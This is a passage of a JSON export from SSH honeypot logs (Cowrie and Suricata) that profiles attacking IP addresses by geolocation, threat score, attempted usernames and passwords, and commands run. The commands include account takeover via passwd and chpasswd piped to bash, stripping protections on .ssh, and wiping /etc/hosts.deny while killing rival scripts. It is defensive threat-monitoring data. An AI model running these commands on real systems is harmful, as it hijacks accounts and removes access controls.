        "sales1"
      ],
      "passwords_attempted": [
        "123",
        "3245gs5662d34",
        "345gs5662d34",
        "123456",
        "Dockeradmin123",
        "Miguel123",
        "ahmad123",
        "developer123",
        "kk1234",
        "password",
        "rezapass",
        "sales11234"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"ahmad123\\nxLRwa2qGFByQ\\nxLRwa2qGFByQ\\n\"|passwd",
        "echo \"kk1234\\nmMlzJbDimK3K\\nmMlzJbDimK3K\\n\"|passwd",
        "echo -e \"ahmad123\\nxLRwa2qGFByQ\\nxLRwa2qGFByQ\"|passwd|bash",
        "echo -e \"kk1234\\nmMlzJbDimK3K\\nmMlzJbDimK3K\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Nuremberg",
      "asn": 24940,
      "as_org": "Hetzner Online GmbH",
      "threat_score": 12.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 23.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 227,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-11T04:40:21.756000+00:00",
        "last_seen_30d": "2026-03-11T05:01:24.536000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 193,
        "Suricata": 34
      }
    },
    "165.154.23.4": {
      "attack_count": 188,
      "first_seen": "2026-03-19T04:37:58.681Z",
      "last_seen": "2026-03-19T05:01:08.805Z",
      "sessions": 14,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "cody",
        "comunicacao",
        "bert",
        "dev",
        "jellyfin",
        "mata",
        "mob",
        "pzserver",
        "wilson",
        "work"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "123456",
        "Bert123!",
        "Jellyfin123",
        "cody123",
        "dev1234",
        "mata",
        "mob",
        "password",
        "work123!"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"cody123\\n94p6kkx7TYsA\\n94p6kkx7TYsA\\n\"|passwd",
        "echo \"password\\nMdrswbTXUByj\\nMdrswbTXUByj\\n\"|passwd",
        "echo -e \"cody123\\n94p6kkx7TYsA\\n94p6kkx7TYsA\"|passwd|bash",
        "echo -e \"password\\nMdrswbTXUByj\\nMdrswbTXUByj\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Hong Kong",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 21.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 220,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-19T04:37:58.681000+00:00",
        "last_seen_30d": "2026-03-19T05:02:18.328000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 188,
        "Suricata": 32
      }
    },
    "136.232.11.10": {
      "attack_count": 168,
      "first_seen": "2026-03-20T19:52:02.329Z",
      "last_seen": "2026-03-29T02:14:47.250Z",
      "sessions": 10,
      "ports": [],
      "usernames_attempted": [
        "iksi",
        "root",
        "345gs5662d34",
        "max",
        "oguz",
        "tmp",
        "unity",
        "www"
      ],
      "passwords_attempted": [
        "12345678",
        "3245gs5662d34",
        "345gs5662d34",
        "Www123!",
        "asd@321",
        "oguz1234",
        "password",
        "tmppass",
        "unity123",
        "woaini123."
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"Www123!\\nZyGKwyWFRCWs\\nZyGKwyWFRCWs\\n\"|passwd",
        "echo \"password\\nhCXZqx6PDBHZ\\nhCXZqx6PDBHZ\\n\"|passwd",
        "echo -e \"Www123!\\nZyGKwyWFRCWs\\nZyGKwyWFRCWs\"|passwd|bash",
        "echo -e \"password\\nhCXZqx6PDBHZ\\nhCXZqx6PDBHZ\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "India",
      "country_code": "IN",
      "city": null,
      "asn": 55836,
      "as_org": "Reliance Jio Infocomm Limited",
      "threat_score": 40.3,
      "threat_level": "medium",
      "score_components": {
        "frequency": 22.8,
        "persistence": 8.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 192,
        "days_active_30d": 10,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-20T19:52:02.329000+00:00",
        "last_seen_30d": "2026-03-29T02:15:54.877000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 168,
        "Suricata": 24
      }
    },
    "152.32.253.205": {
      "attack_count": 150,
      "first_seen": "2026-03-05T05:50:10.734Z",
      "last_seen": "2026-03-25T10:28:08.629Z",
      "sessions": 23,
      "ports": [],
      "usernames_attempted": [
        "root",
        "labs",
        "sakura"
      ],
      "passwords_attempted": [
        "10293847",
        "123123",
        "124578",
        "1qaz@WSX#EDC",
        "Bingo@1993",
        "Qwerty666",
        "Sakura123!",
        "abc12345678",
        "labs123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:uv3LjnzKABT9\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Hong Kong",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 42.1,
      "threat_level": "medium",
      "score_components": {
        "frequency": 23.2,
        "persistence": 17.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 207,
        "days_active_30d": 21,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-05T05:50:10.734000+00:00",
        "last_seen_30d": "2026-03-25T10:32:06.576000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 150,
        "Suricata": 57
      }
    },
    "191.5.31.61": {
      "attack_count": 128,
      "first_seen": "2026-03-02T17:27:13.429Z",
      "last_seen": "2026-03-02T18:02:23.655Z",
      "sessions": 14,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "admin1"
      ],
      "passwords_attempted": [
        "1233218613f",
        "12121212",
        "3245gs5662d34",
        "345gs5662d34",
        "4fv5gb6hn",
        "AAbb1234",
        "Abc123456789.",
        "azerty123@",
        "b123456",
        "pruebas",
        "test@2025",
        "zhang123",
        "zxc!@#123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:sHBRlECTZcLn\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Passo Fundo",
      "asn": 263077,
      "as_org": "RazaoInfo Internet Ltda",
      "threat_score": 3.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 22.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 163,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-02T17:27:13.429000+00:00",
        "last_seen_30d": "2026-03-02T18:03:26.517000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 128,
        "Suricata": 35
      }
    },
    "130.250.191.201": {
      "attack_count": 124,
      "first_seen": "2026-03-10T20:59:03.410Z",
      "last_seen": "2026-03-10T21:34:27.287Z",
      "sessions": 13,
      "ports": [],
      "usernames_attempted": [
        "pro",
        "345gs5662d34",
        "User",
        "adminer",
        "ais",
        "aroot",
        "astra",
        "clawd",
        "installer",
        "linode",
        "steve",
        "www"
      ],
      "passwords_attempted": [
        "123",
        "12345",
        "3245gs5662d34",
        "345gs5662d34",
        "Adminer123!",
        "Steve123",
        "User",
        "Www123",
        "arootpass",
        "clawd@123",
        "installer123",
        "password",
        "pro123!"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"pro123!\\nSzQgroMeps4c\\nSzQgroMeps4c\\n\"|passwd",
        "echo -e \"pro123!\\nSzQgroMeps4c\\nSzQgroMeps4c\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Mumbai",
      "asn": 215117,
      "as_org": "HosterDaddy Private Limited",
      "threat_score": 10.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 21.9,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 156,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-10T20:59:03.410000+00:00",
        "last_seen_30d": "2026-03-10T21:35:33.219000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 124,
        "Suricata": 32
      }
    },
    "45.115.176.90": {
      "attack_count": 124,
      "first_seen": "2026-03-10T09:26:47.414Z",
      "last_seen": "2026-03-10T09:32:40.553Z",
      "sessions": 62,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": null,
      "asn": 137120,
      "as_org": "Nas Internet Services Private Limited",
      "threat_score": 10.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 22.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 187,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-10T09:26:47.414000+00:00",
        "last_seen_30d": "2026-03-10T09:33:48.187000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 124,
        "Suricata": 63
      }
    },
    "103.146.23.195": {
      "attack_count": 119,
      "first_seen": "2026-03-13T19:23:24.922Z",
      "last_seen": "2026-03-13T19:43:02.080Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [
        "ssl",
        "345gs5662d34",
        "admins",
        "bounce",
        "dockeruser",
        "jenkins",
        "mamad",
        "passbolt",
        "player",
        "root",
        "sshuser"
      ],
      "passwords_attempted": [
        "1234",
        "123456",
        "12345678",
        "201314",
        "3245gs5662d34",
        "345gs5662d34",
        "Admins123!",
        "dockeruserpass",
        "jenkins123!",
        "passbolt1234"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"123456\\najxq9QgrrUU6\\najxq9QgrrUU6\\n\"|passwd",
        "echo -e \"123456\\najxq9QgrrUU6\\najxq9QgrrUU6\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": null,
      "asn": 131366,
      "as_org": "Lanit Technology and Communication Joint Stock Company",
      "threat_score": 13.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 21.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 147,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-13T19:23:24.922000+00:00",
        "last_seen_30d": "2026-03-13T19:44:05.185000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 119,
        "Suricata": 28
      }
    },
    "13.73.111.251": {
      "attack_count": 119,
      "first_seen": "2026-03-14T07:42:11.719Z",
      "last_seen": "2026-03-14T08:07:22.840Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [
        "gestion",
        "345gs5662d34",
        "aa",
        "bryan",
        "dell",
        "family",
        "jessica",
        "lzy",
        "root",
        "wade",
        "yzh"
      ],
      "passwords_attempted": [
        "12345678",
        "1Qazxsw2",
        "3245gs5662d34",
        "345gs5662d34",
        "Aa123!",
        "bryan123",
        "gestionpass",
        "jessica",
        "lzy",
        "yzh123!"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"gestionpass\\nLAdh9uVDOd8Y\\nLAdh9uVDOd8Y\\n\"|passwd",
        "echo -e \"gestionpass\\nLAdh9uVDOd8Y\\nLAdh9uVDOd8Y\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Australia",
      "country_code": "AU",
      "city": "Melbourne",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 15.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 21.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 147,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-14T07:42:11.719000+00:00",
        "last_seen_30d": "2026-03-14T08:08:27.706000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 119,
        "Suricata": 28
      }
    },
    "40.82.214.8": {
      "attack_count": 119,
      "first_seen": "2026-03-23T01:15:07.627Z",
      "last_seen": "2026-03-23T01:43:34.146Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [
        "odoo12",
        "345gs5662d34",
        "gm",
        "jan",
        "labs",
        "mobiquity",
        "root",
        "student",
        "ttx",
        "ubuntu",
        "vpsuser"
      ],
      "passwords_attempted": [
        "123",
        "123456",
        "3245gs5662d34",
        "345gs5662d34",
        "Cloud@123",
        "Labs123",
        "jan123!",
        "mobiquity",
        "password",
        "password123",
        "pixel",
        "vpsuser123"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"password\\n8Fm4vzLlzhoY\\n8Fm4vzLlzhoY\\n\"|passwd",
        "echo -e \"password\\n8Fm4vzLlzhoY\\n8Fm4vzLlzhoY\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Australia",
      "country_code": "AU",
      "city": "Sydney",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 25.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 21.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 148,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-23T01:15:07.627000+00:00",
        "last_seen_30d": "2026-03-23T01:44:40.100000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 119,
        "Suricata": 29
      }
    },
    "129.213.122.13": {
      "attack_count": 118,
      "first_seen": "2026-03-31T12:11:26.160Z",
      "last_seen": "2026-03-31T13:40:58.063Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [
        "root",
        "roott"
      ],
      "passwords_attempted": [
        "!QAZ6yhn",
        "123Azerty",
        "1qaz2wsx@admin",
        "3245gs5662d34",
        "Pass@word2",
        "QWERTY@2025",
        "Sz@123456",
        "aA123123",
        "ab123",
        "merlin99",
        "qqqqqq123",
        "roott"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:kjViSWIYUlwp\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 31898,
      "as_org": "Oracle Corporation",
      "threat_score": 34.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 21.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 153,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-31T12:11:26.160000+00:00",
        "last_seen_30d": "2026-03-31T13:41:59.556000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 118,
        "Suricata": 35
      }
    },
    "209.38.19.53": {
      "attack_count": 115,
      "first_seen": "2026-03-10T15:34:29.883Z",
      "last_seen": "2026-03-10T15:54:37.670Z",
      "sessions": 22,
      "ports": [],
      "usernames_attempted": [
        "admin",
        "administrator",
        "ansible"
      ],
      "passwords_attempted": [
        "123456",
        "P@ssw0rd",
        "letmein",
        "passw0rd",
        "password",
        "qwerty",
        "welcome",
        "admin",
        "admin123",
        "admin2026",
        "administrator",
        "administrator123",
        "administrator2026",
        "ansible"
      ],
      "commands_executed": [
        "cat /proc/uptime 2 > /dev/null | cut -d. -f1",
        "uname -m 2 > /dev/null",
        "uname -s -v -n -m 2 > /dev/null"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.file_download"
      ],
      "country": "Australia",
      "country_code": "AU",
      "city": "Sydney",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 10.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 22.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 164,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-10T15:34:29.883000+00:00",
        "last_seen_30d": "2026-03-10T15:55:43.683000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 115,
        "Suricata": 49
      }
    },
    "123.156.230.101": {
      "attack_count": 102,
      "first_seen": "2026-03-03T20:45:34.781Z",
      "last_seen": "2026-03-13T01:30:46.355Z",
      "sessions": 18,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "claude",
        "client",
        "hdoop",
        "mailtest",
        "shares",
        "sshuser"
      ],
      "passwords_attempted": [
        "password",
        "1qaz2wsX",
        "2wsxXSW@",
        "345gs5662d34",
        "Hdoop123!",
        "P@ssw0rd112233",
        "Sshuser123",
        "a1234562014",
        "a2a2a2",
        "admin1",
        "adminadmin",
        "client1234",
        "pass123",
        "rootqwer",
        "supersecret",
        "welcome2024"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh"
      ],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.session.params",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.command.failed"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 17.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 21.8,
        "persistence": 9.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 153,
        "days_active_30d": 11,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-03T20:45:34.781000+00:00",
        "last_seen_30d": "2026-03-13T01:31:54.242000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 102,
        "Suricata": 51
      }
    },
    "129.80.134.10": {
      "attack_count": 89,
      "first_seen": "2026-03-07T05:55:37.414Z",
      "last_seen": "2026-03-07T06:25:36.104Z",
      "sessions": 6,
      "ports": [],
      "usernames_attempted": [
        "appuser",
        "beehive",
        "bkp",
        "myadmin",
        "root",
        "soporte"
      ],
      "passwords_attempted": [
        "12345",
        "Appuser123",
        "aa123123aa",
        "beehive123",
        "myadmin1234",
        "soporte123"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
